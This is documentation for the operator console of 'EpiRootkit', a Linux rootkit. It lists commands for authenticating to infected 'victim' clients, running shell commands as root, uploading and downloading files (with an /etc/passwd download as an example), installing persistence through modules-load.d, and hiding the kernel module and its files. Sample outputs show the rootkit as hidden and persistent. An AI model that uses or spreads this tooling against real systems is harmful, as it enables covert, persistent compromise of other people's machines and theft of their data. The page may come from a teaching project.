Command List

CommandDescriptionAuth Required
clients, lsList connected clientsNo
auth <client> <password>Authenticate with clientNo
exec <client> <command>Execute shell commandsYes
upload <client> <local> [remote]Upload files to victimYes
download <client> <remote> [local]Download files from victimYes
status <client>Get rootkit statusYes
keepalive <client>Check connection statusYes
persist <client> [action]Manage persistenceYes
config <client>Interactive configurationYes

Client Management

List Clients

  ls               # List all connected clients
# • Client-1 - AUTHENTICATED - Last seen: 6:13:29 PM
# • Client-2 - UNAUTHENTICATED - Last seen: 6:10:15 PM
  

Authentication

  auth Client-1 password     # Authenticate with client
# ✓ [2025-05-25 16:13:29] Authenticated
# SUCCESS: Authentication successful

auth Client-1 wrongpass    # Wrong password
# ERROR: Authentication failed
  

Security Features:

  • SHA-512 password hashing
  • Rate limiting (5 attempts/60 seconds)
  • Session timeout (1 hour)

Command Execution

  exec Client-1 whoami
exec Client-1 uname -a
exec Client-1 ps aux | head -5
  

Features:

  • Root privileges execution
  • Full stdout/stderr capture
  • Exit code display
  • Real-time output

File Transfer

  # Upload files
upload Client-1 ./file.txt /tmp/file.txt    # Upload to specific path
upload Client-1 ./script.sh                 # Upload to current directory

# Download files
download Client-1 /etc/passwd ./passwd      # Download to specific path
download Client-1 /etc/hostname             # Download to current directory
  

Features:

  • Base64 encoding
  • Path validation
  • Binary/text file support
  • Automatic path resolution

System Information

Status Check

  status Client-1
# EpiRootkit Status:
# Version: 1.0.0
# Authentication: YES
# Connection: CONNECTED
# Module Hidden: YES
# File Hiding: YES
# Persistence: ENABLED
  

Connection Check

  keepalive Client-1
# Keepalive Status:
# Last ping: 2025-05-25 16:14:00
# Last pong: 2025-05-25 16:14:00
# Failed pings: 0
# Connection: STABLE
  

Persistence Management

  persist Client-1 install    # Install all mechanisms
persist Client-1 remove     # Remove all mechanisms
persist Client-1 modules    # modules-load.d only
  

Configuration

Interactive Config

  config Client-1
# ┌─ Configuration - Client-1
#   Current Configuration:
#   [X] Module Hiding (Click to disable)
#   [X] File Hiding (Click to disable)
#   [X] Persistence (Click to disable)
#   
# ? Select option: [Use arrow keys]
  

Available Settings:

  • Module hiding toggle
  • File hiding toggle
  • Persistence management
  • Connection parameters

Direct Commands

  hide_module Client-1      # Hide rootkit module
unhide_module Client-1    # Show rootkit module
hide_files Client-1       # Enable file hiding
unhide_files Client-1     # Disable file hiding
  

Error Handling

For detailed usage examples, see Usage Guide.